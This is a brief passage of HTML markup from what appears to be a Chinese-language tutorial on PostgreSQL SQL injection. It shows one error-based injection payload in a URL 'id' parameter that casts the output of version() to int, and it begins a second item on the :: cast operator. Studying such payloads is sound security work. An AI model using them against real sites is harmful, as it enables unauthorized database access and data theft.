="">?</span><span class="">id</span><span class="">=</span><span class="cm-variable">a</span><span class="">' and cast((select version()) as int)=1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="">2.</span> ::<span class="cm-variable">运算符</span></span></pre